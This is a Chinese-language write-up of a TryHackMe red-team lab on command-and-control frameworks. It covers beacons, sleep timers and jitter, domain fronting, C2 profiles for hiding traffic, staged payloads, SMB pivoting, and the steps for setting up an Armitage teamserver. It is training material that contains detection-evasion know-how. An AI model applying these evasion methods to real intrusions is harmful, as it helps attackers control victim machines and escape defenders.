【THM】Intro to C2(C2简介)-红队

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/introtoc2

本文相关内容:学习关于命令与控制(C2-Command&Control)的基本知识。

img

简介

命令与控制(C2-Command&Control)框架是红队和APT战术手册的重要组成部分,C2框架既便于红队在攻防演练期间管理已经攻破的计算机设备,也有助于红队进行内网横向移动等操作。

通过学习本文内容,我们将了解命令与控制(C2-Command&Control)框架,以更好地理解以下几个主题:

  • 命令与控制(C2)框架将如何工作;
  • 你可能使用的各种C2组件;
  • 如何设置一个基本的命令与控制(C2)框架;
  • 使用 Armitage 或 Metasploit 来熟悉命令与控制(C2)框架;
  • 如何管理一个命令与控制(C2)框架;
  • 管理一个命令与控制(C2)框架时需要考虑的OPSEC(作战安全)因素;
  • 其他。

命令与控制框架结构

什么是C2框架

为了更好地理解 C2 框架在其最基本的层面上是什么,我们以Netcat侦听器(C2服务器)为例,假设该侦听器已经实现了同时处理多个反向shell回调,并且具有很好的隐蔽性和稳定性(C2代理),此处的Netcat侦听器则可以理解为一个可用于处理反向shell的C2服务器;此外,与Netcat侦听器所不同的是,几乎所有 C2 框架都会带有一个特殊的有效载荷(Payload)生成器,这个有效载荷生成器通常会是C2框架本身内置的功能之一。例如,Metasploit是一个C2框架,它有一个属于Metasploit框架的有效载荷生成器--MSFVenom。

image

那么究竟是什么让C2框架比普通的Netcat侦听器更好呢?

相比于普通的Netcat侦听器,C2框架可能具有更多的功能、灵活性和隐蔽性;C2框架可以针对shell提供更好的会话管理功能,能够让我们很方便地管理和操作多个远程shell,而且C2框架在其“Post Exploitation-后渗透”功能特性方面的表现也非常出色。

tips:虽然Netcat具有端口监听、端口扫描、远程文件传输、实现远程shell等功能;但是Netcat本身并不支持对shell的会话管理(需要通过使用一些额外的技巧来实现),也就是说,如果有多个目标连接到Netcat侦听器,我们无法很方便地切换或控制不同的shell会话。

C2的基本结构

C2 Server(服务器)

为了理解命令与控制框架,我们必须先了解C2框架的各种组件,让我们从其中最重要的组件—C2服务器开始:C2服务器能够充当代理回调的中心,C2代理将定期和C2服务器联系并等待操作员的命令。

image

Agents / Payloads

C2代理出现在目标系统感染之后,它运行在目标系统上,并且能够接受C2服务器的控制命令并执行,起代理作用。

C2代理通常指采用代理回调方式的恶意软件(它在目标系统上),它能回调C2服务器上的侦听器,与标准的反向shell相比,C2代理在大多数情况下还能够支持一些特殊功能。大多数C2框架都实现了伪命令,这可以简化C2操作人员的工作,相关的例子有——下载文件到本地系统的伪命令或者上传文件到目标系统的伪命令等。对于操作者而言,重要的是要知道C2代理是高度可配置的,操作人员可以调整C2代理向C2服务器上的侦听器发送beacon报文的频率等等。

C2代理能够发送beacon报文,这是一种恶意通信方式,该方式可用于C2服务器与受感染主机上的恶意软件之间发生交互;C2服务器可以指挥恶意软件执行各种恶意行为,例如拒绝服务攻击,勒索或数据泄露等,通常,受感染的主机会定期与C2服务器联系,这可以通过beacon来进行。

beacon的流量特征可通过Malleable-C2-Profiles定制,从而能在一定程度上规避安全性检测。

Listeners(侦听器)

从最基本的层次上理解,侦听器是运行在C2服务器上的一种应用程序,它将会等待通过特定端口或协议进行的回调操作,相关的协议可以是DNS、HTTP和HTTPS等。

Beacons(信标)

Beacon(信标)是指C2代理回调在C2服务器上运行的侦听器的过程,它是一种恶意软件与C2(命令与控制)服务器之间的定期通信方式(通信机制)。

当恶意软件感染目标系统后,它需要与控制服务器(C2服务器)建立连接,以获取控制命令和更新;但是C2服务器不会持续发出命令,所以恶意软件就需要采取一定机制定期与C2服务器通信,并确认连接状态和获取新命令,这个过程可以通过Beacon(信标)来进行。

Beacon通信的主要特征是:

  1. 定期性:保持定期的通信间隔,比如每隔30秒到5分钟不等;
  2. 短小报文:通常只传输少量信息,比如恶意软件ID、主机地址等;
  3. 加密传输:使用自定义加密算法对通信内容进行加密,避免被检测;
  4. 命令获取:在有新命令时获取命令,在没有新命令时只发送确认连接的报文。

Beacon通信的目的主要有两个:

  1. 确认连接:定期通信可以确认恶意软件与C2服务器的连接是否正常,如果长时间未通信可能代表连接出现问题;
  2. 获取命令:在有新命令或更新时可以通过Beacon通信将其下发到恶意软件,然后用于控制受害系统。

Beacon通信是网络攻击者实现控制恶意软件以及受害系统的关键机制之一,通过Beacon通信,攻击者可以知道恶意软件或植入木马与受害系统的连接状态,并可在需要时下达新命令来控制其行为。

总结:Beacon是恶意软件与C2控制服务器之间所采取的一种短小定期通信方式,可用于确认连接状态和在需要时传输控制命令;它是C2框架中实现恶意软件控制的关键机制。

混淆代理回调

Sleep Timers(睡眠周期)

一些安全分析人员、防病毒软件和下一代防火墙在试图识别C2流量时,要查找的一个关键点是beacon通信以及被控制的设备向C2服务器发送beacon报文的速率。假设有一个防火墙观察到如下所示的流量:

  • TCP/443 - Session Duration 3s, 55 packets sent, 10:00:05.000
  • TCP/443 - Session Duration 2s, 33 packets sent, 10:00:10.000
  • TCP/443 - Session Duration 3s, 55 packets sent, 10:00:15.000
  • TCP/443 - Session Duration 1s, 33 packets sent, 10:00:20.000
  • TCP/443 - Session Duration 3s, 55 packets sent, 10:00:25.000

上述流量可以形成一种模式:代理将每5秒发送一次beacon报文,这意味着该恶意beacon通信使用了一个时间固定为5秒的睡眠周期。

Sleep Timers概念补充

在C2框架中,Sleep Timers代表等待时间或睡眠周期。它的作用是:指示受害系统在未接收到新的C2命令或控制指令时,应保持等待或睡眠的时间间隔。

当恶意软件感染受害系统后,它会与C2服务器建立连接,然后等待接收控制命令;但C2服务器不会持续发出命令,所以在没收到新命令时,恶意软件需要遵循某种时间表或时间逻辑来确定应保持等待的时间长度,而此时间将由Sleep Timers来指定。

常见的Sleep Timers有:

  1. 固定时间间隔:比如设置每60秒检查一次是否有新命令;
  2. 随机时间间隔:比如设置等待30到120秒之间的随机时间;
  3. 根据网络活动确定:比如在网络活动高峰期选择使用 shorter timers,在非活动期选择longer timers;
  4. 根据受害系统属性确定:比如对于高价值目标选择短时间睡眠周期,对于低价值目标选择长时间睡眠周期。

Sleep Timers的主要目的有两个:

  1. 避免过于频繁的恶意网络通信被监测系统检测到,采用较长的Sleep Timers可以在一定程度上降低被检测概率;
  2. 在C2服务器当前没有新命令需要下发时,确保恶意软件可以继续保持在受害系统上运行和等待,而不会因为长时间未接收命令而停止工作。

总结:在C2框架中,Sleep Timers用于指示受害系统在未接受到新命令时 应保持等待状态的一定时间长度,通过指定这些等待时间间隔,可帮助恶意软件在一定程度上规避检测,并进而确保恶意软件能持续运行在受害系统上以等待新命令。

Jitter(时序扰动)

Jitter也可用于改变通信时间,并且它能够使通信时间发生随机变化,在使用了Jitter之后,我们的C2 beacon通信将可能呈现出一种奇怪的模式——C2在通信过程中所显示的活动可能更接近于普通用户:

  • TCP/443 - Session Duration 3s, 55 packets sent, 10:00:03.580
  • TCP/443 - Session Duration 2s, 33 packets sent, 10:00:13.213
  • TCP/443 - Session Duration 3s, 55 packets sent, 10:00:14.912
  • TCP/443 - Session Duration 1s, 33 packets sent, 10:00:23.444
  • TCP/443 - Session Duration 3s, 55 packets sent, 10:00:27.182

在使用了Jitter之后,C2的beacon通信将被设置为半不规则模式,这使得在常规用户流量中识别C2流量变得稍微困难一些。在更高级的C2框架中,我们还可以更改一些其他参数来增加流量的隐蔽性,例如使用“File”Jitter或者向有效载荷添加垃圾数据等,我们也可以向正在传输的文件添加垃圾数据,从而使得该文件看起来比实际上更大一些。

实现Jitter的Python3示例代码可能如下所示:

import random
sleep = 60
jitter = random.randint(-30,30)
sleep = sleep + jitter

注意:上述示例代码只是Jitter的一个基本例子,在实际实现Jitter时,我们可能还会引入更多的数学运算,如:设置上界和下界,取上次睡眠的百分比,然后以此为基础继续进行Jitter构建等等。(本文只是介绍性文章,故在此处不做赘述)

Jitter概念补充

在C2框架中,Jitter代表时序扰动或变化,它指的是:恶意软件与C2服务器的通信时间将随机变化,这能够在一定程度上隐蔽通信模式,从而避免被检测。

当恶意软件与C2服务器通信时,如果每次的时间间隔完全固定,那么这种定期可预测的通信模式可能很容易被检测到;所以,我们可以选择在基础通信间隔上添加一定的随机变化,这种在通信时间上的随机变化就称为Jitter。

Jitter所表示的通信时间通常会在一个预定范围上下波动,比如:以每30秒通信一次为基础,但实际通信间隔将在25到35秒之间随机变化;这能够在一定程度上隐蔽通信模式,使其不那么规则和可预测。

Jitter的实现方式有两种:

  1. 绝对时间变化:比如以30秒为基础通信时间,然后将实际时间设置为在25到35秒之间随机变化,这个变化范围是绝对时间;
  2. 相对比例变化:比如以30秒为基础通信时间,然后将变化范围设置为基础时间的15%左右,那么实际时间将在25.5到34.5秒之间随机变化,这个变化范围是相对比例。

Jitter的主要目的是:通过使用随机变化的通信时间,能够破坏通信模式的规则性,从而增加检测难度,更好地实现恶意通信的隐蔽性。

Jitter与Sleep Time(等待时间)有所不同,Sleep Time是在没有新命令时恶意软件内部采取的等待时间,用于控制多久不与C2服务器通信;而Jitter是通信时间本身的随机变化,用于实现通信的不规则性。

总结:Jitter是C2框架中用于指示恶意软件与C2服务器通信时间随机变化的机制;通过引入Jitter(时序扰动),C2框架可以有效地隐藏通信规律,增加检测难度,这是绕过监控系统的一个重要手法。

"File" Jitter概念介绍

在C2框架中,使用"File" Jitter 意味着:通过文件操作来实现恶意软件与C2服务器通信时间的随机变化。

在使用了"File" Jitter机制之后,当恶意软件需要与C2服务器通信时,它首先会检查是否有新的命令文件,如果有,则读取文件并删除,如果没有,则等待一定时间再检查。

"File" Jitter的实现过程通常如下所示:

  1. 恶意软件首先会确定一个命令目录,C2服务器会在该目录下放置命令文件;
  2. 恶意软件设置一个基础等待时间,比如30秒,这会是检测新命令文件的默认时间间隔;
  3. 每次恶意软件醒来后,它首先检查命令目录下是否有新文件,如果有,则读取文件并删除,从而获取到新命令;
  4. 如果命令目录下没有新文件,那么恶意软件会在20到40秒(可自行设置)的随机时间范围内等待,此处需要引入Jitter;
  5. 在等待时间结束后,恶意软件将再次检查命令目录下是否有新文件 并将循环以上过程。

这种通过文件操作和随机等待时间来检测新命令和控制通信时间间隔的机制,就构成了"File" Jitter机制。

"File" Jitter的主要目的与Jitter相同,都是为了增加检测难度,主要区别在于"File" Jitter将利用文件操作来触发通信和获取新命令;使用命令文件可以更好隐藏通信规律,从而避免直连型的恶意网络通信被检测到。

总结:"File" Jitter是一种特殊的Jitter实现方式,它通过文件操作和随机等待时间来控制恶意软件与C2服务器之间的通信,能够增加检测难度并能获取新命令,"File" Jitter属于C2框架中较隐蔽的一种通信机制。

Sleep Timers和Jitter的区别

Sleep Timers和Jitter在C2框架中虽然都与恶意软件的通信机制相关,但两者的作用和目的存在不同之处。

Sleep Timers用于控制恶意软件在未接收到C2命令时的内部等待时间,比如每60秒检查一次命令,它的主要目的是:

  1. 避免过于频繁的通信被监测到;
  2. 确保恶意软件持续在系统内运行并等待新命令。

Sleep Timers控制的是恶意软件自身的等待时间,与C&C服务器通信无直接关系。

Jitter用于控制恶意软件与C2服务器的通信时间的随机变化,它可以增加恶意通信的检测难度,其主要目的是:

  1. 隐藏恶意软件与C2服务器的通信规律;
  2. 使通信活动变得不那么固定和可预测,从而在一定程度上能够实现规避监控机制。

Jitter直接作用于恶意软件与外部C2服务器之间的实际通信,它用于控制通信时间的变化,而非恶意软件的内部等待时间。

总结:

  1. Sleep Timers所控制的是恶意软件自身在未接收到命令时的内部等待时间,Sleep Timers与外部(C2服务器)的通信无直接关系;
  2. Jitter所控制的是恶意软件与外部C2服务器的通信时间的随机变化,Jitter可用于隐藏通信规律,从而能够增加检测难度;
  3. 二者的侧重点不同,Sleep Timers侧重于控制恶意软件内部等待时间,Jitter侧重于控制恶意软件与外部C2服务器的通信时间的变化。

有效载荷种类

就像常规的反向Shell一样,你可以在C2框架中使用两种主要类型的有效载荷:无阶段有效载荷和分阶段有效载荷。

Stageless Payloads(无阶段有效载荷)

无阶段有效载荷是两者中最简单的,它们将包含完整的C2代理(充当代理的恶意程序),并将在回调C2服务器时立即开始beacon通信过程。你可以参考下面的图表来更好地理解无阶段有效载荷是如何工作的。

image

使用无阶段有效载荷建立C2 beacon(信标)的步骤如下:

  1. 受害者下载并执行Dropper(Dropper是用于在目标系统上安装其他恶意软件或工具的恶意程序,比如可以安装C2代理、远控工具等);
  2. 受害机器与C2服务器之间成功建立C2 beacon(信标)通信。

Staged Payloads(分阶段有效载荷)

使用分阶段的有效载荷需要回调到C2服务器以下载C2代理(充当代理的恶意程序)的其他部分,这通常会使用一个被称为"Dropper"的程序,因为它被"Dropped-丢弃"到受害机器上,以回调下载我们的分阶段有效载荷的第二阶段;这是一种优于无阶段有效载荷的方法,因为此过程需要写入少量代码来从C2服务器上检索C2代理的其他部分,此外,它还可以更容易地混淆代码以绕过反病毒程序。

image

使用分阶段有效载荷建立C2 beacon(信标)的步骤如下:

  1. 受害者下载并执行Dropper(Dropper是用于在目标系统上安装其他恶意软件或工具的恶意程序,比如可以安装C2代理、远控工具等);
  2. Dropper回调到C2服务器以下载第二阶段的有效载荷;
  3. C2服务器将第二阶段的有效载荷发送回受害者工作站;
  4. 第二阶段的有效载荷被加载到受害者工作站的内存中;
  5. C2 beacon(信标)初始化,红队/威胁参与者可以在C2服务器上与受害者机器进行互动。

有效载荷格式

你可能知道,Windows PE文件(一种Windows可执行文件格式)并不是在系统上执行代码的唯一方式,一些C2框架也可支持其他格式的有效载荷,例如:

  • PowerShell脚本:它可能包含c#代码(这可以用Add-Type Commandlet来编译和执行);
  • HTA文件;
  • JScript文件;
  • Visual Basic应用程序或Visual Basic脚本;
  • Microsoft Office文档;

除了上述几种格式之外,还有其他更多格式的有效载荷。

模块

模块是任何C2框架的核心组件,它们能够添加一些使C2代理和C2服务器更加灵活的功能。

根据C2框架的不同,我们有时候必须使用不同语言所编写的脚本,比如:Cobalt Strike中有“Aggressor脚本”,它是用“Aggressor脚本语言”编写的;PowerShell Empire则支持多种编程语言所编写的脚本;Metasploit的模块一般是用Ruby语言编写的,但是它也有一些模块可用其他语言编写。

Post Exploitation Modules(后渗透模块)

Post Exploitation(后渗透)模块是C2框架的主要组件之一,该模块可用于处理获得目标机的初始访问权限之后的任何事情,使用后渗透模块可以像运行SharpHound工具一样简单,也可以像转储LSASS和解析内存中的凭证一样复杂,此外,我们还能用后渗透模块中的ps1(Powershell)脚本来查找横向移动路径。

有关Post Exploitation(后渗透)的更多信息,请参阅Post Exploitation Basics blog

Pivoting Modules(跳板模块)

pivoting(跳板)模块是C2框架的主要组件之一,当我们使用C2框架时,该模块能够让我们更加容易地去访问受限制的网段。如果你在目标网络中的某个系统A(A在非限制网段中)上具有管理员访问权限,那么你就可以打开“SMB Beacon”通信,它可以使计算机A通过SMB协议充当一个代理;这将可能允许受限制网段中的机器与你的C2服务器实现通信。

image

上图显示了限制网段内的主机将如何回调到C2服务器:

  1. 受害者回调到非限制网段的另一个受害者的SMB命名管道;
  2. 非限制网段中的受害者通过标准信标(beacon)回调C2服务器;
  3. 然后,C2服务器将命令发送回非限制网段中的受害者;
  4. 最后,非限制网段中的受害者将C2指令转发给受限制网段中的主机。

关于C2框架结构的补充

所有红队必须克服的一个重要障碍是将基础设施置于目标网络的视线范围内,有许多不同的方法可以做到这一点,其中最流行的方式之一被称为“域名前置”技术。

在网络渗透测试中,红队需要在目标网络内安装一些工具或恶意程序,以便长期控制网络、提取信息或持续渗透;这些工具或程序可以被视为红队的"基础设施"。

但是,部署这些"基础设施"往往是有难度的,因为:

  1. 需要绕过网络防御手段,如防火墙、入侵检测系统等,并将恶意工具和程序运入目标网络;
  2. 需要避免被系统管理员或防御团队发现,以防止红队想要安装的程序被删除或阻止;
  3. 恶意工具和程序需要在目标网络中持续隐藏并长期运行,这需要较强的隐蔽能力。

所以,要将这些"基础设施"置于目标网络的"视线范围内",红队需要克服以下挑战:

  1. 发展或选择更隐蔽的运输手段来避开网络防御措施;
  2. 选择更隐蔽的部署位置,或者使用文件隐藏技术来隐藏"基础设施";
  3. 加强自身的隐匿能力,如模拟正常流量、选择常用进程来隐藏等;
  4. 持续监控"基础设施"并主动更新以适应目标网络的变化;
  5. 必要时进行重新部署来应对被发现的情况。

Domain Fronting(域名前置)

为了实现"域名前置"技术,我们可以利用知名的可靠主机名称,例如Cloudflare,Cloudflare以向客户提供网站安全管理、性能优化及相关的技术支持为主要业务,并能缓存HTTP连接请求以节省带宽。

红队可以滥用Cloudflare,使目标工作站或目标服务器以为其正在与知名的可信IP地址进行通信,并且可检测的地理位置将显示为Cloudflare最近的服务器所在位置,可检测的IP地址也将显示为由Cloudflare所拥有。

image

上图描述了域名前置技术是如何工作的:

  1. C2操作员有一个通过Cloudflare代理所有请求的域;
  2. 受害者向C2域发送beacon报文;
  3. Cloudflare代理请求,然后查看Host报头并将流量转发到正确的服务器;
  4. 然后,C2服务器用C2命令响应Cloudflare;
  5. 最后,受害者将接收来自Cloudflare的命令。

C2 Profiles(C2 配置文件)

利用C2配置涉及到了几个不同的技术名称,如“NGINX反向代理”、“Apache Mod_Proxy/Mod_Rewrite”、“可扩展的HTTP C2配置文件”等等;然而,这些技术在本质上都是相同的,所有这些代理功能或多或少都能允许用户控制传入的HTTP请求的特定元素。

假设传入的连接请求有一个“X-C2-Server”报头,我们则可以使用特定的技术(反向代理、Mod_Proxy/Rewrite、可扩展的C2配置文件等)显式地提取此报头,并确保你的C2服务器作出基于C2命令的响应;而如果是普通用户查询红队的HTTP服务器并传入连接请求,则他们可能只会看到一个通用的网页页面。简而言之,C2服务器所作出的响应类型将取决于你的C2配置。

image

上图描述了利用C2配置文件的工作原理:

  1. 受害者在HTTP请求中使用自定义标头向C2服务器发送 beacon(信标)报文,而SOC分析师则会发送正常的HTTP请求报文;
  2. 这些请求是通过Cloudflare代理的3.C2服务器将接收请求并查找自定义报头,然后根据C2配置文件评估应该如何响应。
  3. C2服务器将分别响应SOC分析师以及受害者设备(针对SOC分析师的请求,C2服务器将返回正常网页;针对受害者的请求,C2服务器将返回C2命令)。

由于HTTPS请求是加密的,因此可能无法针对HTTPS请求来提取特定的标头(例如:X-C2-Server或Host)。通过使用C2配置文件,我们可以尝试将C2服务器隐藏起来,从而不让安全分析师窥探。

有关利用C2配置文件的更多信息,请参阅博客文章《Understanding Malleable C2 Profiles for Cobalt Strike》

在下文的知识点小节中,我们还将解释和探索另一种被称为“重定向器”的技术;我们将获得配置Metasploit和Apache 2的实践经验,以演示如何设置重定向器。

基于C2配置文件的代理技术将允许红队:

  1. 根据自定义的规则集过滤和处理传入的 HTTP 请求;
  2. 检测其中的某些标识(如自定义头部),识别出 C2 流量;;
  3. 根据识别结果,返回C2服务器的响应给恶意程序,或者返回正常网页给普通用户的请求;
  4. 这样就可以在同一个域名或IP地址下同时处理正常业务流量和C2流量,而外界会很难区分;
  5. 这增加了红队"基础设施"(恶意工具和软件)的隐蔽性,使其更难被发现;
  6. 红队可以根据需要随时调整规则集,改变标识、响应等以适应环境变化。

总结:基于C2配置文件的代理技术为红队提供了高度可自定义的代理方式来处理 HTTP 流量,通过识别C2流量中的标识,C2服务器可以实现动态地返回对应响应,这些响应要么是C2指令,要么是正常的网页内容,这使得外界难以区分C2通信的真实目的与对象。C2配置文件的高度可配置性,能够使红队根据目标网络环境随时调整规则以避开检测,这是红队在建立C2通信时常用的高级技术,可以有效地提高C2通信的隐蔽性与可用性,在本质上,基于C2配置文件的代理技术仍然属于代理,我们不能完全依赖这些代理技术,我们仍需要配合其它技术手段才能更加全面地抵御检测与防御措施。

答题

image

常用C2框架介绍

有许多不同的C2框架,我们在此将讨论一些流行的C2,它们被红队队员和真实的网络攻击者广泛使用,我们将把这些C2框架分为两个部分:

  • Free——免费的;
  • Premium/Paid——需要额外费用/付费的。

你可能会问一些问题,如“为什么我要使用付费的C2框架?”,这是一个很好的问题;高级/付费的C2框架通常不太可能被反病毒软件供应商检测到,这并不是说这些付费的C2不可能被检测到,只是开源的C2项目通常很容易被理解,并且相关的签名也很容易被开发。

通常,高级/付费的C2框架会具有更高级的后渗透模块、跳板功能,甚至包括开源C2开发人员有时无法实现的功能要求;例如,Cobalt Strike所提供的一个功能可能是大多数C2框架所没有的,那就是以beacon(信标)通信方式打开VPN隧道的能力,这会是一个很棒的功能——如果你使用的代理(Proxy)在特定情况下并不适用。

你必须做些研究,并找出对你的团队最有效的C2使用方法。

免费C2框架

Metasploit

由Rapid7开发和维护的Metasploit框架是最流行的漏洞利用和后渗透框架以及C2框架之一,它是公开可用的,并可安装在大多数渗透测试发行版系统上。

image

Armitage

Armitage是Metasploit框架的扩展——它增加了一个图形用户界面(GUI),该界面是用Java编写的,与Cobalt Strike非常相似,这是因为它们都是由Raphael Mudge所开发的。Armitage提供了一种简单的方法来枚举和可视化你的所有目标,除了看起来很像Cobalt Strike之外,Armitage还提供了一些独特的功能,其中最受欢迎的功能可以在“Attacks”菜单中找到,这个功能被称为Hail Mary攻击,它试图对在特定工作站上运行的服务执行所有漏洞利用程序。Armitage真的是“快速和简单的黑客工具”。

注意:Armitage已不再更新。

image

Powershell Empire/Starkiller

Powershell EmpireStarkiller是另一个非常受欢迎的C2框架,该框架最初由Veris Group的Harmjoy, Sixdub和Enigma0x3创建。目前,由Veris Group所创建的相关项目已经中止,并由BC安全团队(Cx01N、Hubbl3和_Vinnybod)重新启动。Empire的特色是可以使用多种语言编写的、兼容多个平台的C2代理,这让其成为一个非常通用的C2框架。

注意:Starkiller是Powershell Empire框架的GUI前端。

image

tips:该C2框架的名称含义——Powershell帝国/弑星者。

Covenant

由Ryan Cobb所开发的Covenant是我们在本文中将介绍的最后一个免费的C2框架——到目前为止,它是用c#编写的最独特的C2框架之一。与Metasploit/Armitage不同,Covenant主要可使用基于HTTP、HTTPS和SMB的侦听器来进行后渗透和横向移动,这些侦听器可配合高度可定制的C2代理。

image

Sliver

Bishop Fox所开发的Sliver是一个高级的、高度可定制的、基于CLI的多用户C2框架。

Silver是用Go语言编写的,这使得逆向该C2“implants-植入物”变得异常困难,它支持C2通信的各种协议,如WireGuard、mTLS、HTTP(S)、DNS等;此外,Silver还支持BOF文件以实现其他功能、支持DNS Canary域用于隐蔽C2通信、支持自动生成HTTPS信标(beacons)的Let's Encrypt证书等等。

image

tips:该C2框架的名称含义——裂片妖,出自万智牌游戏。

付费C2框架

Cobalt Strike

Cobalt Strike是由Help Systems(以前由Raphael Mudge创建)所开发的,可以说是Metasploit之后最著名的C2框架之一。

Cobalt Strike与Artimage非常相似,它是用Java编写的,并且设计得尽可能灵活。如果你了解更多信息,可以参阅Cobalt Strike的视频教程页面,相关页面的视频提供了Raphael Mudge本人对红队操作和C2框架的额外见解。

image

tips:该C2框架的名称含义——钴打击。

Brute Ratel

由Chetan Nayak或称Paranoid Ninja所开发的Brute Ratel是一个付费的命令和控制(C2)框架,作为一个“Customizable Command and Control Center-可定制的命令和控制中心”或“C4”框架,它能够提供一个真正的对手模拟体验,是一个独特的C2框架。如果想了解此框架的更多信息,你可以查阅由作者所提供的视频教程页面,相关的视频演示了Brute Ratel框架内的许多功能。

image

tips:该C2框架的名称含义——暴力蜜罐(平头哥)

其他C2框架

有关C2框架及其功能的更全面的列表,请查看下面的“C2矩阵”链接,这是一个由Jorge Orchilles和Bryson Bort维护的项目;它有一个更全面的C2列表,几乎包含了所有当前可用的C2框架。

C2 Matrix(C2 矩阵):

设置一个C2框架

为了更好地理解设置和管理C2服务器需要做什么,我们将以设置一个C2框架-Armitage为例;Armitage是Metasploit框架的GUI版本,它几乎具有一个标准C2框架的所有方面。

设置Armitage

下载、构建和安装Armitage

首先,我们必须从Gitlab克隆Armitage的存储库:

#Installing Armitage
root@kali$ cd /opt
root@kali$ git clone https://gitlab.com/kalilinux/packages/armitage.git && cd armitage
Cloning into 'armitage'...
remote: Enumerating objects: 760, done.
remote: Counting objects: 100% (160/160), done.
remote: Compressing objects: 100% (100/100), done.
remote: Total 760 (delta 55), reused 152 (delta 54), pack-reused 600
Receiving objects: 100% (760/760), 11.81 MiB | 8.55 MiB/s, done.
Resolving deltas: 100% (244/244), done.

接下来,我们必须构建当前版本的Armitage,我们可以使用下面的命令来进行:

#Building Armitage
root@kali$ bash package.sh
+ ./gradlew assemble

> Task :armitage:compileJava
Note: Some input files use or override a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
Note: Some input files use unchecked or unsafe operations.
Note: Recompile with -Xlint:unchecked for details.

Deprecated Gradle features were used in this build, making it incompatible with Gradle 7.0.
Use '--warning-mode all' to show the individual deprecation warnings.
See https://docs.gradle.org/6.8/userguide/command_line_interface.html#sec:command_line_warnings

BUILD SUCCESSFUL in 12s
6 actionable tasks: 6 executed
+ for i in unix windows mac
+ '[' unix == mac ']'
+ mkdir -p release/unix
+ cp build.txt license.txt readme.txt whatsnew.txt release/unix
+ cp build/armitage.jar build/cortana.jar release/unix
+ cp -r dist/unix/armitage dist/unix/armitage-logo.png dist/unix/teamserver release/unix
+ '[' unix == mac ']'
+ for i in unix windows mac
+ '[' windows == mac ']'
+ mkdir -p release/windows
+ cp build.txt license.txt readme.txt whatsnew.txt release/windows
+ cp build/armitage.jar build/cortana.jar release/windows
+ cp -r dist/windows/armitage.exe release/windows
+ '[' windows == mac ']'
+ for i in unix windows mac
+ '[' mac == mac ']'
++ uname
+ '[' Linux '!=' Darwin ']'
+ echo 'Skipping macOS build because this is not running on Darwin'
Skipping macOS build because this is not running on Darwin

上述过程完成后,我们所构建的Armitage发行版将位于./releases/unix/文件夹中;接下来我们应该检查并验证是否已经成功构建了Armitage。

#Verifying Build
root@kali$ cd ./release/unix/ && ls -la
total 11000
drwxr-xr-x 2 root root    4096 Feb  6 20:20 .
drwxr-xr-x 4 root root    4096 Feb  6 20:20 ..
-rwxr-xr-x 1 root root      75 Feb  6 20:20 armitage
-rw-r--r-- 1 root root 4334705 Feb  6 20:20 armitage.jar
-rw-r--r-- 1 root root   25985 Feb  6 20:20 armitage-logo.png
-rw-r--r-- 1 root root     282 Feb  6 20:20 build.txt
-rw-r--r-- 1 root root 6778470 Feb  6 20:20 cortana.jar
-rw-r--r-- 1 root root    1491 Feb  6 20:20 license.txt
-rw-r--r-- 1 root root    4385 Feb  6 20:20 readme.txt
-rwxr-xr-x 1 root root    2665 Feb  6 20:20 teamserver
-rw-r--r-- 1 root root   85945 Feb  6 20:20 whatsnew.txt

在上述文件夹(./releases/unix/)中,有两个我们将使用的关键文件:

teamserver文件

这个文件将启动多个用户能够连接到的Armitage服务器,此文件接受两个参数:

1.IP地址参数:

  • 可以填写内网IP或外网IP,这取决于你想开放C2服务器给内部红队成员还是外部红队成员访问;
  • 如果填写外网IP,需要采取措施防止地址泄露,比如可以使用端口转发或反向SSH隧道;
  • 也可以选择不填IP地址,让Armitage自动获取IP,但这需要确保路由器开放了所需要的端口,并要做好安全防护。

2.密码参数:

  • 密码参数是用于连接到Teamserver的认证,所以应设置一个复杂的密码;
  • 默认情况下,Armitage使用的是HTTP认证,所以密码会通过网络明文传输,这会存在安全隐患;
  • 我们可以在Armitage设置中将联网方式修改为“SSL”来启用HTTPS,这可以在传输时加密密码,提高安全性;
  • 也可以不设置密码,但这会使任何人都可以未授权访问你的Teamserver,这存在很大风险,所以不推荐这样操作。

armitage文件

这是你将用于连接到Armitage Teamserver(团队服务器)的文件,它可以启动一个Armitage客户端。在执行此二进制文件后,将打开一个新的提示界面,然后会显示一些连接信息,包括你的用户名称以及密码等。

image

准备环境

在启动Armitage之前,我们还必须做一些预先检查,以确保正确配置了Metasploit。

Armitage严重依赖Metasploit的数据库功能,因此,我们必须在启动Armitage之前先启动并初始化相关的数据库;为此,我们必须执行以下命令:

#Starting PostgreSQL
root@kali$ systemctl start postgresql && systemctl status postgresql
postgresql.service - PostgreSQL RDBMS
   Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
   Active: active (exited) since Sun 2022-02-06 20:16:03 GMT; 41min ago
  Process: 1587 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
 Main PID: 1587 (code=exited, status=0/SUCCESS)

Feb 06 20:16:03 ip-10-10-142-239 systemd[1]: Starting PostgreSQL RDBMS...
Feb 06 20:16:03 ip-10-10-142-239 systemd[1]: Started PostgreSQL RDBMS.

image

然后,我们还必须初始化数据库,以便Metasploit可以使用它;注意在尝试初始化Metasploit数据库时,我们不能以root用户身份进行。

#Initializing Metasploit's PostgreSQL Database
user@kali$ msfdb delete  #msfdb --use-defaults delete
Stopping database at /home/ubuntu/.msf4/db
Deleting all data at /home/ubuntu/.msf4/db
MSF web service is no longer running

user@kali$ msfdb init  #msfdb --use-defaults init
Creating database at /home/ubuntu/.msf4/db
Starting database at /home/ubuntu/.msf4/db...success
Creating database users
Writing client authentication configuration file /home/ubuntu/.msf4/db/pg_hba.conf
Stopping database at /home/ubuntu/.msf4/db
Starting database at /home/ubuntu/.msf4/db...success
Creating initial database schema
Generating SSL key and certificate for MSF web service
Attempting to start MSF web service...failed
[!] MSF web service does not appear to be started.
Please see /home/ubuntu/.msf4/logs/msf-ws.log for additional details.

tips:在实际演示时,我使用的是ubuntu机器,所以切换用户身份使用的是su ubuntu命令。

image

上述数据库初始化完成后,我们就可以启动Armitage TeamServer了。

启动并连接Armitage

我们先启动Armitage的TeamServer(团队服务器):

tips:需要提供一个服务器IP给teamserver。

#Starting Armitage's Team Server
root@kali$ cd /opt/armitage/release/unix && ./teamserver YourIP THM
[*] Generating X509 certificate and keystore (for SSL)
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[*] Starting RPC daemon
[*] MSGRPC starting on 127.0.0.1:55554 (NO SSL):Msg...
[*] MSGRPC backgrounding at 2022-02-06 17:47:08 -0500...
[*] MSGRPC background PID 2083
[*] sleeping for 20s (to let msfrpcd initialize)
[*] Starting Armitage team server
